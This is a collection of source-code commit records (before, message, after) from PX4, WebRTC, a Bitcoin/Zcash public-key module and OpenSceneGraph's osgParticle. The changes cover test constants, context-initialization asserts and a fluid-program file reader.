calibration_log_info(mavlink_log_pub, CAL_QGC_PROGRESS_MSG, 100);
calibration_log_info(mavlink_log_pub, CAL_QGC_DONE_MSG, sensor_name);
tune_neutral(true);
/* Wait 2sec for the airflow to stop and ensure the driver filter has caught up, otherwise
* the followup preflight checks might fail. */
px4_usleep(2e6);
normal_return:
calibrate_cancel_unsubscribe(cancel_sub);
px4_close(diff_pres_sub);
// This give a chance for the log messages to go out of the queue before someone else stomps on then
px4_sleep(1);
return result;
error_return:
result = PX4_ERROR;
goto normal_return;
}
<|endoftext|> |
<commit_before>/*
* Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
/*
* This file includes unit tests for the RTPSender.
*/
#include <gtest/gtest.h>
#include "rtp_header_extension.h"
#include "rtp_rtcp_defines.h"
#include "rtp_sender.h"
#include "rtp_utility.h"
#include "typedefs.h"
namespace webrtc {
class RtpSenderTest : public ::testing::Test {
protected:
RtpSenderTest()
: rtp_sender_(new RTPSender(0, false, ModuleRTPUtility::GetSystemClock())),
kMarkerBit(true),
kType(TRANSMISSION_TIME_OFFSET) {
EXPECT_EQ(0, rtp_sender_->SetSequenceNumber(kSeqNum));
}
~RtpSenderTest() {
delete rtp_sender_;
}
RTPSender* rtp_sender_;
const bool kMarkerBit;
RTPExtensionType kType;
enum {kId = 1};
enum {kTypeLength = TRANSMISSION_TIME_OFFSET_LENGTH_IN_BYTES};
enum {kPayload = 100};
enum {kTimestamp = 10};
enum {kSeqNum = 33};
enum {kTimeOffset = 22222};
enum {kMaxPacketLength = 1500};
uint8_t packet_[kMaxPacketLength];
void VerifyRTPHeaderCommon(const WebRtcRTPHeader& rtp_header) {
EXPECT_EQ(kMarkerBit, rtp_header.header.markerBit);
EXPECT_EQ(kPayload, rtp_header.header.payloadType);
EXPECT_EQ(kSeqNum, rtp_header.header.sequenceNumber);
EXPECT_EQ(kTimestamp, rtp_header.header.timestamp);
EXPECT_EQ(rtp_sender_->SSRC(), rtp_header.header.ssrc);
EXPECT_EQ(0, rtp_header.header.numCSRCs);
EXPECT_EQ(0, rtp_header.header.paddingLength);
}
};
TEST_F(RtpSenderTest, RegisterRtpHeaderExtension) {
EXPECT_EQ(0, rtp_sender_->RtpHeaderExtensionTotalLength());
EXPECT_EQ(0, rtp_sender_->RegisterRtpHeaderExtension(kType, kId));
EXPECT_EQ(RTP_ONE_BYTE_HEADER_LENGTH_IN_BYTES + kTypeLength,
rtp_sender_->RtpHeaderExtensionTotalLength());
EXPECT_EQ(0, rtp_sender_->DeregisterRtpHeaderExtension(kType));
EXPECT_EQ(0, rtp_sender_->RtpHeaderExtensionTotalLength());
}
TEST_F(RtpSenderTest, BuildRTPPacket) {
WebRtc_Word32 length = rtp_sender_->BuildRTPheader(packet_,
kPayload,
kMarkerBit,
kTimestamp);
EXPECT_EQ(12, length);
// Verify
webrtc::ModuleRTPUtility::RTPHeaderParser rtpParser(packet_, length);
webrtc::WebRtcRTPHeader rtp_header;
RtpHeaderExtensionMap map;
map.Register(kType, kId);
const bool valid_rtp_header = rtpParser.Parse(rtp_header, &map);
ASSERT_TRUE(valid_rtp_header);
ASSERT_FALSE(rtpParser.RTCP());
VerifyRTPHeaderCommon(rtp_header);
EXPECT_EQ(length, rtp_header.header.headerLength);
EXPECT_EQ(0, rtp_header.extension.transmissionTimeOffset);
}
TEST_F(RtpSenderTest, BuildRTPPacketWithExtension) {
EXPECT_EQ(0, rtp_sender_->SetTransmissionTimeOffset(kTimeOffset));
EXPECT_EQ(0, rtp_sender_->RegisterRtpHeaderExtension(kType, kId));
WebRtc_Word32 length = rtp_sender_->BuildRTPheader(packet_,
kPayload,
kMarkerBit,
kTimestamp);
EXPECT_EQ(12 + rtp_sender_->RtpHeaderExtensionTotalLength(), length);
// Verify
webrtc::ModuleRTPUtility::RTPHeaderParser rtpParser(packet_, length);
webrtc::WebRtcRTPHeader rtp_header;
RtpHeaderExtensionMap map;
map.Register(kType, kId);
const bool valid_rtp_header = rtpParser.Parse(rtp_header, &map);
ASSERT_TRUE(valid_rtp_header);
ASSERT_FALSE(rtpParser.RTCP());
VerifyRTPHeaderCommon(rtp_header);
EXPECT_EQ(length, rtp_header.header.headerLength);
EXPECT_EQ(kTimeOffset, rtp_header.extension.transmissionTimeOffset);
// Parse without map extension
webrtc::WebRtcRTPHeader rtp_header2;
const bool valid_rtp_header2 = rtpParser.Parse(rtp_header2, NULL);
ASSERT_TRUE(valid_rtp_header2);
VerifyRTPHeaderCommon(rtp_header2);
EXPECT_EQ(length, rtp_header2.header.headerLength);
EXPECT_EQ(0, rtp_header2.extension.transmissionTimeOffset);
}
} // namespace webrtc
<commit_msg>Switch enums to consts to fix gtest error.<commit_after>/*
* Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
/*
* This file includes unit tests for the RTPSender.
*/
#include <gtest/gtest.h>
#include "rtp_header_extension.h"
#include "rtp_rtcp_defines.h"
#include "rtp_sender.h"
#include "rtp_utility.h"
#include "typedefs.h"
namespace webrtc {
class RtpSenderTest : public ::testing::Test {
protected:
RtpSenderTest()
: rtp_sender_(new RTPSender(0, false, ModuleRTPUtility::GetSystemClock())),
kMarkerBit(true),
kType(TRANSMISSION_TIME_OFFSET) {
EXPECT_EQ(0, rtp_sender_->SetSequenceNumber(kSeqNum));
}
~RtpSenderTest() {
delete rtp_sender_;
}
RTPSender* rtp_sender_;
const bool kMarkerBit;
RTPExtensionType kType;
static const int kId = 1;
static const int kTypeLength = TRANSMISSION_TIME_OFFSET_LENGTH_IN_BYTES;
static const int kPayload = 100;
static const uint32_t kTimestamp = 10;
static const uint16_t kSeqNum = 33;
static const int kTimeOffset = 22222;
static const int kMaxPacketLength = 1500;
uint8_t packet_[kMaxPacketLength];
void VerifyRTPHeaderCommon(const WebRtcRTPHeader& rtp_header) {
EXPECT_EQ(kMarkerBit, rtp_header.header.markerBit);
EXPECT_EQ(kPayload, rtp_header.header.payloadType);
EXPECT_EQ(kSeqNum, rtp_header.header.sequenceNumber);
EXPECT_EQ(kTimestamp, rtp_header.header.timestamp);
EXPECT_EQ(rtp_sender_->SSRC(), rtp_header.header.ssrc);
EXPECT_EQ(0, rtp_header.header.numCSRCs);
EXPECT_EQ(0, rtp_header.header.paddingLength);
}
};
TEST_F(RtpSenderTest, RegisterRtpHeaderExtension) {
EXPECT_EQ(0, rtp_sender_->RtpHeaderExtensionTotalLength());
EXPECT_EQ(0, rtp_sender_->RegisterRtpHeaderExtension(kType, kId));
EXPECT_EQ(RTP_ONE_BYTE_HEADER_LENGTH_IN_BYTES + kTypeLength,
rtp_sender_->RtpHeaderExtensionTotalLength());
EXPECT_EQ(0, rtp_sender_->DeregisterRtpHeaderExtension(kType));
EXPECT_EQ(0, rtp_sender_->RtpHeaderExtensionTotalLength());
}
TEST_F(RtpSenderTest, BuildRTPPacket) {
WebRtc_Word32 length = rtp_sender_->BuildRTPheader(packet_,
kPayload,
kMarkerBit,
kTimestamp);
EXPECT_EQ(12, length);
// Verify
webrtc::ModuleRTPUtility::RTPHeaderParser rtpParser(packet_, length);
webrtc::WebRtcRTPHeader rtp_header;
RtpHeaderExtensionMap map;
map.Register(kType, kId);
const bool valid_rtp_header = rtpParser.Parse(rtp_header, &map);
ASSERT_TRUE(valid_rtp_header);
ASSERT_FALSE(rtpParser.RTCP());
VerifyRTPHeaderCommon(rtp_header);
EXPECT_EQ(length, rtp_header.header.headerLength);
EXPECT_EQ(0, rtp_header.extension.transmissionTimeOffset);
}
TEST_F(RtpSenderTest, BuildRTPPacketWithExtension) {
EXPECT_EQ(0, rtp_sender_->SetTransmissionTimeOffset(kTimeOffset));
EXPECT_EQ(0, rtp_sender_->RegisterRtpHeaderExtension(kType, kId));
WebRtc_Word32 length = rtp_sender_->BuildRTPheader(packet_,
kPayload,
kMarkerBit,
kTimestamp);
EXPECT_EQ(12 + rtp_sender_->RtpHeaderExtensionTotalLength(), length);
// Verify
webrtc::ModuleRTPUtility::RTPHeaderParser rtpParser(packet_, length);
webrtc::WebRtcRTPHeader rtp_header;
RtpHeaderExtensionMap map;
map.Register(kType, kId);
const bool valid_rtp_header = rtpParser.Parse(rtp_header, &map);
ASSERT_TRUE(valid_rtp_header);
ASSERT_FALSE(rtpParser.RTCP());
VerifyRTPHeaderCommon(rtp_header);
EXPECT_EQ(length, rtp_header.header.headerLength);
EXPECT_EQ(kTimeOffset, rtp_header.extension.transmissionTimeOffset);
// Parse without map extension
webrtc::WebRtcRTPHeader rtp_header2;
const bool valid_rtp_header2 = rtpParser.Parse(rtp_header2, NULL);
ASSERT_TRUE(valid_rtp_header2);
VerifyRTPHeaderCommon(rtp_header2);
EXPECT_EQ(length, rtp_header2.header.headerLength);
EXPECT_EQ(0, rtp_header2.extension.transmissionTimeOffset);
}
} // namespace webrtc
<|endoftext|> |
<commit_before>// Copyright (c) 2009-2016 The Bitcoin Core developers
// Copyright (c) 2017 The Zcash developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <pubkey.h>
#include <secp256k1.h>
#include <secp256k1_recovery.h>
#include <secp256k1_schnorr.h>
namespace {
/* Global secp256k1_context object used for verification. */
secp256k1_context *secp256k1_context_verify = nullptr;
} // namespace
/**
* This function is taken from the libsecp256k1 distribution and implements DER
* parsing for ECDSA signatures, while supporting an arbitrary subset of format
* violations.
*
* Supported violations include negative integers, excessive padding, garbage at
* the end, and overly long length descriptors. This is safe to use in Bitcoin
* because since the activation of BIP66, signatures are verified to be strict
* DER before being passed to this module, and we know it supports all
* violations present in the blockchain before that point.
*/
static int ecdsa_signature_parse_der_lax(const secp256k1_context *ctx,
secp256k1_ecdsa_signature *sig,
const uint8_t *input,
size_t inputlen) {
size_t rpos, rlen, spos, slen;
size_t pos = 0;
size_t lenbyte;
uint8_t tmpsig[64] = {0};
int overflow = 0;
/* Hack to initialize sig with a correctly-parsed but invalid signature. */
secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig);
/* Sequence tag byte */
if (pos == inputlen || input[pos] != 0x30) {
return 0;
}
pos++;
/* Sequence length bytes */
if (pos == inputlen) {
return 0;
}
lenbyte = input[pos++];
if (lenbyte & 0x80) {
lenbyte -= 0x80;
if (lenbyte > inputlen - pos) {
return 0;
}
pos += lenbyte;
}
/* Integer tag byte for R */
if (pos == inputlen || input[pos] != 0x02) {
return 0;
}
pos++;
/* Integer length for R */
if (pos == inputlen) {
return 0;
}
lenbyte = input[pos++];
if (lenbyte & 0x80) {
lenbyte -= 0x80;
if (lenbyte > inputlen - pos) {
return 0;
}
while (lenbyte > 0 && input[pos] == 0) {
pos++;
lenbyte--;
}
static_assert(sizeof(size_t) >= 4, "size_t too small");
if (lenbyte >= 4) {
return 0;
}
rlen = 0;
while (lenbyte > 0) {
rlen = (rlen << 8) + input[pos];
pos++;
lenbyte--;
}
} else {
rlen = lenbyte;
}
if (rlen > inputlen - pos) {
return 0;
}
rpos = pos;
pos += rlen;
/* Integer tag byte for S */
if (pos == inputlen || input[pos] != 0x02) {
return 0;
}
pos++;
/* Integer length for S */
if (pos == inputlen) {
return 0;
}
lenbyte = input[pos++];
if (lenbyte & 0x80) {
lenbyte -= 0x80;
if (lenbyte > inputlen - pos) {
return 0;
}
while (lenbyte > 0 && input[pos] == 0) {
pos++;
lenbyte--;
}
static_assert(sizeof(size_t) >= 4, "size_t too small");
if (lenbyte >= 4) {
return 0;
}
slen = 0;
while (lenbyte > 0) {
slen = (slen << 8) + input[pos];
pos++;
lenbyte--;
}
} else {
slen = lenbyte;
}
if (slen > inputlen - pos) {
return 0;
}
spos = pos;
/* Ignore leading zeroes in R */
while (rlen > 0 && input[rpos] == 0) {
rlen--;
rpos++;
}
/* Copy R value */
if (rlen > 32) {
overflow = 1;
} else {
memcpy(tmpsig + 32 - rlen, input + rpos, rlen);
}
/* Ignore leading zeroes in S */
while (slen > 0 && input[spos] == 0) {
slen--;
spos++;
}
/* Copy S value */
if (slen > 32) {
overflow = 1;
} else {
memcpy(tmpsig + 64 - slen, input + spos, slen);
}
if (!overflow) {
overflow = !secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig);
}
if (overflow) {
/* Overwrite the result again with a correctly-parsed but invalid
signature if parsing failed. */
memset(tmpsig, 0, 64);
secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig);
}
return 1;
}
bool CPubKey::VerifyECDSA(const uint256 &hash,
const std::vector<uint8_t> &vchSig) const {
if (!IsValid()) {
return false;
}
secp256k1_pubkey pubkey;
secp256k1_ecdsa_signature sig;
if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch,
size())) {
return false;
}
if (!ecdsa_signature_parse_der_lax(secp256k1_context_verify, &sig,
vchSig.data(), vchSig.size())) {
return false;
}
/**
* libsecp256k1's ECDSA verification requires lower-S signatures, which have
* not historically been enforced in Bitcoin, so normalize them first.
*/
secp256k1_ecdsa_signature_normalize(secp256k1_context_verify, &sig, &sig);
return secp256k1_ecdsa_verify(secp256k1_context_verify, &sig, hash.begin(),
&pubkey);
}
bool CPubKey::VerifySchnorr(const uint256 &hash,
const std::vector<uint8_t> &vchSig) const {
if (!IsValid()) {
return false;
}
if (vchSig.size() != 64) {
return false;
}
secp256k1_pubkey pubkey;
if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey,
&(*this)[0], size())) {
return false;
}
return secp256k1_schnorr_verify(secp256k1_context_verify, vchSig.data(),
hash.begin(), &pubkey);
}
bool CPubKey::RecoverCompact(const uint256 &hash,
const std::vector<uint8_t> &vchSig) {
if (vchSig.size() != COMPACT_SIGNATURE_SIZE) {
return false;
}
int recid = (vchSig[0] - 27) & 3;
bool fComp = ((vchSig[0] - 27) & 4) != 0;
secp256k1_pubkey pubkey;
secp256k1_ecdsa_recoverable_signature sig;
if (!secp256k1_ecdsa_recoverable_signature_parse_compact(
secp256k1_context_verify, &sig, &vchSig[1], recid)) {
return false;
}
if (!secp256k1_ecdsa_recover(secp256k1_context_verify, &pubkey, &sig,
hash.begin())) {
return false;
}
uint8_t pub[SIZE];
size_t publen = SIZE;
secp256k1_ec_pubkey_serialize(
secp256k1_context_verify, pub, &publen, &pubkey,
fComp ? SECP256K1_EC_COMPRESSED : SECP256K1_EC_UNCOMPRESSED);
Set(pub, pub + publen);
return true;
}
bool CPubKey::IsFullyValid() const {
if (!IsValid()) {
return false;
}
secp256k1_pubkey pubkey;
return secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch,
size());
}
bool CPubKey::Decompress() {
if (!IsValid()) {
return false;
}
secp256k1_pubkey pubkey;
if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch,
size())) {
return false;
}
uint8_t pub[SIZE];
size_t publen = SIZE;
secp256k1_ec_pubkey_serialize(secp256k1_context_verify, pub, &publen,
&pubkey, SECP256K1_EC_UNCOMPRESSED);
Set(pub, pub + publen);
return true;
}
bool CPubKey::Derive(CPubKey &pubkeyChild, ChainCode &ccChild,
unsigned int nChild, const ChainCode &cc) const {
assert(IsValid());
assert((nChild >> 31) == 0);
assert(size() == COMPRESSED_SIZE);
uint8_t out[64];
BIP32Hash(cc, nChild, *begin(), begin() + 1, out);
memcpy(ccChild.begin(), out + 32, 32);
secp256k1_pubkey pubkey;
if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch,
size())) {
return false;
}
if (!secp256k1_ec_pubkey_tweak_add(secp256k1_context_verify, &pubkey,
out)) {
return false;
}
uint8_t pub[COMPRESSED_SIZE];
size_t publen = COMPRESSED_SIZE;
secp256k1_ec_pubkey_serialize(secp256k1_context_verify, pub, &publen,
&pubkey, SECP256K1_EC_COMPRESSED);
pubkeyChild.Set(pub, pub + publen);
return true;
}
void CExtPubKey::Encode(uint8_t code[BIP32_EXTKEY_SIZE]) const {
code[0] = nDepth;
memcpy(code + 1, vchFingerprint, 4);
code[5] = (nChild >> 24) & 0xFF;
code[6] = (nChild >> 16) & 0xFF;
code[7] = (nChild >> 8) & 0xFF;
code[8] = (nChild >> 0) & 0xFF;
memcpy(code + 9, chaincode.begin(), 32);
assert(pubkey.size() == CPubKey::COMPRESSED_SIZE);
memcpy(code + 41, pubkey.begin(), CPubKey::COMPRESSED_SIZE);
}
void CExtPubKey::Decode(const uint8_t code[BIP32_EXTKEY_SIZE]) {
nDepth = code[0];
memcpy(vchFingerprint, code + 1, 4);
nChild = (code[5] << 24) | (code[6] << 16) | (code[7] << 8) | code[8];
memcpy(chaincode.begin(), code + 9, 32);
pubkey.Set(code + 41, code + BIP32_EXTKEY_SIZE);
}
bool CExtPubKey::Derive(CExtPubKey &out, unsigned int _nChild) const {
out.nDepth = nDepth + 1;
CKeyID id = pubkey.GetID();
memcpy(&out.vchFingerprint[0], &id, 4);
out.nChild = _nChild;
return pubkey.Derive(out.pubkey, out.chaincode, _nChild, chaincode);
}
bool CPubKey::CheckLowS(
const boost::sliced_range<const std::vector<uint8_t>> &vchSig) {
secp256k1_ecdsa_signature sig;
if (!ecdsa_signature_parse_der_lax(secp256k1_context_verify, &sig,
&vchSig.front(), vchSig.size())) {
return false;
}
return (!secp256k1_ecdsa_signature_normalize(secp256k1_context_verify,
nullptr, &sig));
}
/* static */ int ECCVerifyHandle::refcount = 0;
ECCVerifyHandle::ECCVerifyHandle() {
if (refcount == 0) {
assert(secp256k1_context_verify == nullptr);
secp256k1_context_verify =
secp256k1_context_create(SECP256K1_CONTEXT_VERIFY);
assert(secp256k1_context_verify != nullptr);
}
refcount++;
}
ECCVerifyHandle::~ECCVerifyHandle() {
refcount--;
if (refcount == 0) {
assert(secp256k1_context_verify != nullptr);
secp256k1_context_destroy(secp256k1_context_verify);
secp256k1_context_verify = nullptr;
}
}
<commit_msg>pubkey: Assert CPubKey's ECCVerifyHandle precondition<commit_after>// Copyright (c) 2009-2016 The Bitcoin Core developers
// Copyright (c) 2017 The Zcash developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <pubkey.h>
#include <secp256k1.h>
#include <secp256k1_recovery.h>
#include <secp256k1_schnorr.h>
namespace {
/* Global secp256k1_context object used for verification. */
secp256k1_context *secp256k1_context_verify = nullptr;
} // namespace
/**
* This function is taken from the libsecp256k1 distribution and implements DER
* parsing for ECDSA signatures, while supporting an arbitrary subset of format
* violations.
*
* Supported violations include negative integers, excessive padding, garbage at
* the end, and overly long length descriptors. This is safe to use in Bitcoin
* because since the activation of BIP66, signatures are verified to be strict
* DER before being passed to this module, and we know it supports all
* violations present in the blockchain before that point.
*/
static int ecdsa_signature_parse_der_lax(const secp256k1_context *ctx,
secp256k1_ecdsa_signature *sig,
const uint8_t *input,
size_t inputlen) {
size_t rpos, rlen, spos, slen;
size_t pos = 0;
size_t lenbyte;
uint8_t tmpsig[64] = {0};
int overflow = 0;
/* Hack to initialize sig with a correctly-parsed but invalid signature. */
secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig);
/* Sequence tag byte */
if (pos == inputlen || input[pos] != 0x30) {
return 0;
}
pos++;
/* Sequence length bytes */
if (pos == inputlen) {
return 0;
}
lenbyte = input[pos++];
if (lenbyte & 0x80) {
lenbyte -= 0x80;
if (lenbyte > inputlen - pos) {
return 0;
}
pos += lenbyte;
}
/* Integer tag byte for R */
if (pos == inputlen || input[pos] != 0x02) {
return 0;
}
pos++;
/* Integer length for R */
if (pos == inputlen) {
return 0;
}
lenbyte = input[pos++];
if (lenbyte & 0x80) {
lenbyte -= 0x80;
if (lenbyte > inputlen - pos) {
return 0;
}
while (lenbyte > 0 && input[pos] == 0) {
pos++;
lenbyte--;
}
static_assert(sizeof(size_t) >= 4, "size_t too small");
if (lenbyte >= 4) {
return 0;
}
rlen = 0;
while (lenbyte > 0) {
rlen = (rlen << 8) + input[pos];
pos++;
lenbyte--;
}
} else {
rlen = lenbyte;
}
if (rlen > inputlen - pos) {
return 0;
}
rpos = pos;
pos += rlen;
/* Integer tag byte for S */
if (pos == inputlen || input[pos] != 0x02) {
return 0;
}
pos++;
/* Integer length for S */
if (pos == inputlen) {
return 0;
}
lenbyte = input[pos++];
if (lenbyte & 0x80) {
lenbyte -= 0x80;
if (lenbyte > inputlen - pos) {
return 0;
}
while (lenbyte > 0 && input[pos] == 0) {
pos++;
lenbyte--;
}
static_assert(sizeof(size_t) >= 4, "size_t too small");
if (lenbyte >= 4) {
return 0;
}
slen = 0;
while (lenbyte > 0) {
slen = (slen << 8) + input[pos];
pos++;
lenbyte--;
}
} else {
slen = lenbyte;
}
if (slen > inputlen - pos) {
return 0;
}
spos = pos;
/* Ignore leading zeroes in R */
while (rlen > 0 && input[rpos] == 0) {
rlen--;
rpos++;
}
/* Copy R value */
if (rlen > 32) {
overflow = 1;
} else {
memcpy(tmpsig + 32 - rlen, input + rpos, rlen);
}
/* Ignore leading zeroes in S */
while (slen > 0 && input[spos] == 0) {
slen--;
spos++;
}
/* Copy S value */
if (slen > 32) {
overflow = 1;
} else {
memcpy(tmpsig + 64 - slen, input + spos, slen);
}
if (!overflow) {
overflow = !secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig);
}
if (overflow) {
/* Overwrite the result again with a correctly-parsed but invalid
signature if parsing failed. */
memset(tmpsig, 0, 64);
secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig);
}
return 1;
}
bool CPubKey::VerifyECDSA(const uint256 &hash,
const std::vector<uint8_t> &vchSig) const {
if (!IsValid()) {
return false;
}
secp256k1_pubkey pubkey;
secp256k1_ecdsa_signature sig;
assert(secp256k1_context_verify &&
"secp256k1_context_verify must be initialized to use CPubKey.");
if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch,
size())) {
return false;
}
if (!ecdsa_signature_parse_der_lax(secp256k1_context_verify, &sig,
vchSig.data(), vchSig.size())) {
return false;
}
/**
* libsecp256k1's ECDSA verification requires lower-S signatures, which have
* not historically been enforced in Bitcoin, so normalize them first.
*/
secp256k1_ecdsa_signature_normalize(secp256k1_context_verify, &sig, &sig);
return secp256k1_ecdsa_verify(secp256k1_context_verify, &sig, hash.begin(),
&pubkey);
}
bool CPubKey::VerifySchnorr(const uint256 &hash,
const std::vector<uint8_t> &vchSig) const {
if (!IsValid()) {
return false;
}
if (vchSig.size() != 64) {
return false;
}
secp256k1_pubkey pubkey;
if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey,
&(*this)[0], size())) {
return false;
}
return secp256k1_schnorr_verify(secp256k1_context_verify, vchSig.data(),
hash.begin(), &pubkey);
}
bool CPubKey::RecoverCompact(const uint256 &hash,
const std::vector<uint8_t> &vchSig) {
if (vchSig.size() != COMPACT_SIGNATURE_SIZE) {
return false;
}
int recid = (vchSig[0] - 27) & 3;
bool fComp = ((vchSig[0] - 27) & 4) != 0;
secp256k1_pubkey pubkey;
secp256k1_ecdsa_recoverable_signature sig;
assert(secp256k1_context_verify &&
"secp256k1_context_verify must be initialized to use CPubKey.");
if (!secp256k1_ecdsa_recoverable_signature_parse_compact(
secp256k1_context_verify, &sig, &vchSig[1], recid)) {
return false;
}
if (!secp256k1_ecdsa_recover(secp256k1_context_verify, &pubkey, &sig,
hash.begin())) {
return false;
}
uint8_t pub[SIZE];
size_t publen = SIZE;
secp256k1_ec_pubkey_serialize(
secp256k1_context_verify, pub, &publen, &pubkey,
fComp ? SECP256K1_EC_COMPRESSED : SECP256K1_EC_UNCOMPRESSED);
Set(pub, pub + publen);
return true;
}
bool CPubKey::IsFullyValid() const {
if (!IsValid()) {
return false;
}
secp256k1_pubkey pubkey;
assert(secp256k1_context_verify &&
"secp256k1_context_verify must be initialized to use CPubKey.");
return secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch,
size());
}
bool CPubKey::Decompress() {
if (!IsValid()) {
return false;
}
secp256k1_pubkey pubkey;
assert(secp256k1_context_verify &&
"secp256k1_context_verify must be initialized to use CPubKey.");
if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch,
size())) {
return false;
}
uint8_t pub[SIZE];
size_t publen = SIZE;
secp256k1_ec_pubkey_serialize(secp256k1_context_verify, pub, &publen,
&pubkey, SECP256K1_EC_UNCOMPRESSED);
Set(pub, pub + publen);
return true;
}
bool CPubKey::Derive(CPubKey &pubkeyChild, ChainCode &ccChild,
unsigned int nChild, const ChainCode &cc) const {
assert(IsValid());
assert((nChild >> 31) == 0);
assert(size() == COMPRESSED_SIZE);
uint8_t out[64];
BIP32Hash(cc, nChild, *begin(), begin() + 1, out);
memcpy(ccChild.begin(), out + 32, 32);
secp256k1_pubkey pubkey;
assert(secp256k1_context_verify &&
"secp256k1_context_verify must be initialized to use CPubKey.");
if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch,
size())) {
return false;
}
if (!secp256k1_ec_pubkey_tweak_add(secp256k1_context_verify, &pubkey,
out)) {
return false;
}
uint8_t pub[COMPRESSED_SIZE];
size_t publen = COMPRESSED_SIZE;
secp256k1_ec_pubkey_serialize(secp256k1_context_verify, pub, &publen,
&pubkey, SECP256K1_EC_COMPRESSED);
pubkeyChild.Set(pub, pub + publen);
return true;
}
void CExtPubKey::Encode(uint8_t code[BIP32_EXTKEY_SIZE]) const {
code[0] = nDepth;
memcpy(code + 1, vchFingerprint, 4);
code[5] = (nChild >> 24) & 0xFF;
code[6] = (nChild >> 16) & 0xFF;
code[7] = (nChild >> 8) & 0xFF;
code[8] = (nChild >> 0) & 0xFF;
memcpy(code + 9, chaincode.begin(), 32);
assert(pubkey.size() == CPubKey::COMPRESSED_SIZE);
memcpy(code + 41, pubkey.begin(), CPubKey::COMPRESSED_SIZE);
}
void CExtPubKey::Decode(const uint8_t code[BIP32_EXTKEY_SIZE]) {
nDepth = code[0];
memcpy(vchFingerprint, code + 1, 4);
nChild = (code[5] << 24) | (code[6] << 16) | (code[7] << 8) | code[8];
memcpy(chaincode.begin(), code + 9, 32);
pubkey.Set(code + 41, code + BIP32_EXTKEY_SIZE);
}
bool CExtPubKey::Derive(CExtPubKey &out, unsigned int _nChild) const {
out.nDepth = nDepth + 1;
CKeyID id = pubkey.GetID();
memcpy(&out.vchFingerprint[0], &id, 4);
out.nChild = _nChild;
return pubkey.Derive(out.pubkey, out.chaincode, _nChild, chaincode);
}
bool CPubKey::CheckLowS(
const boost::sliced_range<const std::vector<uint8_t>> &vchSig) {
secp256k1_ecdsa_signature sig;
assert(secp256k1_context_verify &&
"secp256k1_context_verify must be initialized to use CPubKey.");
if (!ecdsa_signature_parse_der_lax(secp256k1_context_verify, &sig,
&vchSig.front(), vchSig.size())) {
return false;
}
return (!secp256k1_ecdsa_signature_normalize(secp256k1_context_verify,
nullptr, &sig));
}
/* static */ int ECCVerifyHandle::refcount = 0;
ECCVerifyHandle::ECCVerifyHandle() {
if (refcount == 0) {
assert(secp256k1_context_verify == nullptr);
secp256k1_context_verify =
secp256k1_context_create(SECP256K1_CONTEXT_VERIFY);
assert(secp256k1_context_verify != nullptr);
}
refcount++;
}
ECCVerifyHandle::~ECCVerifyHandle() {
refcount--;
if (refcount == 0) {
assert(secp256k1_context_verify != nullptr);
secp256k1_context_destroy(secp256k1_context_verify);
secp256k1_context_verify = nullptr;
}
}
<|endoftext|> |
<commit_before>
#include <osgParticle/FluidProgram>
#include <osgParticle/Operator>
#include <iostream>
#include <osg/Vec3>
#include <osg/io_utils>
#include <osgDB/Registry>
#include <osgDB/Input>
#include <osgDB/Output>
bool FluidProgram_readLocalData(osg::Object &obj, osgDB::Input &fr);
bool FluidProgram_writeLocalData(const osg::Object &obj, osgDB::Output &fw);
osgDB::RegisterDotOsgWrapperProxy FluidProgram_Proxy
(
new osgParticle::FluidProgram,
"FluidProgram",
"Object Node ParticleProcessor osgParticle::Program FluidProgram",
FluidProgram_readLocalData,
FluidProgram_writeLocalData
);
bool FluidProgram_readLocalData(osg::Object &obj, osgDB::Input &fr)
{
osgParticle::FluidProgram &myobj = static_cast<osgParticle::FluidProgram &>(obj);
bool itAdvanced = false;
osg::Vec3 vec;
float f;
if (fr[0].matchWord("acceleration")) {
if (fr[1].getFloat(vec.x()) && fr[2].getFloat(vec.y()) && fr[3].getFloat(vec.z())) {
myobj.setAcceleration(vec);
fr += 4;
itAdvanced = true;
}
}
if (fr[0].matchWord("viscosity")) {
if (fr[1].getFloat(f)) {
myobj.setFluidViscosity(f);
fr += 2;
itAdvanced = true;
}
}
if (fr[0].matchWord("density")) {
if (fr[1].getFloat(f)) {
myobj.setFluidViscosity(f);
fr += 2;
itAdvanced = true;
}
}
if (fr[0].matchWord("wind")) {
if (fr[1].getFloat(vec.x()) && fr[2].getFloat(vec.y()) && fr[3].getFloat(vec.z())) {
myobj.setWind(vec);
fr += 4;
itAdvanced = true;
}
}
return itAdvanced;
}
bool FluidProgram_writeLocalData(const osg::Object &obj, osgDB::Output &fw)
{
const osgParticle::FluidProgram &myobj = static_cast<const osgParticle::FluidProgram &>(obj);
osg::Vec3 vec;
float f;
vec = myobj.getAcceleration();
fw.indent() << "acceleration " << vec << std::endl;
f = myobj.getFluidViscosity();
fw.indent() << "viscosity " << f << std::endl;
f = myobj.getFluidDensity();
fw.indent() << "density " << f << std::endl;
vec = myobj.getWind();
fw.indent() << "wind " << vec << std::endl;
return true;
}
